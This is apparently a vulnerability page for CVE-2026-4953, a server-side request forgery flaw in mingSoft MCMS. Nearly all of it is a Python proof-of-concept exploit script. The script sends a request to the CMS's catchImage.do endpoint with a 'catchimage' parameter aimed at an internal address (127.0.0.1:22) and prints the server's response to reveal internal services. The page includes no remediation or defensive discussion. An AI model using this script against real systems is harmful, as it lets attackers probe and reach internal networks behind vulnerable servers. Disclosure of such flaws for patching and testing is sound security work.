CVE-2026-4953: mingSoft MCMS 服务端请求伪造漏洞

import requests # Target configuration target_url = "http://target-ip:port/" # The vulnerable endpoint path might vary based on deployment, # typically accessed via the controller mapping. # Based on the file structure BaseAction.java, constructing the request. exploit_endpoint = f"{target_url}/ms/cms/action/catchImage.do" # Malicious payload to demonstrate SSRF (e.g., accessing localhost) # Modify the URL to point to an internal resource (e.g., http://127.0.0.1:8080) payload = { "catchimage": "http://127.0.0.1:22" } try: print(f"Sending SSRF request to: {exploit_endpoint}") response = requests.get(exploit_endpoint, params=payload, timeout=10) # Analyzing response to confirm vulnerability if response.status_code == 200: print("[+] Request sent successfully. Check response for signs of internal interaction.") print("Response Headers:", response.headers) # If the internal service returns distinct content, it would appear here. print("Response Content Snippet:", response.text[:200]) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}")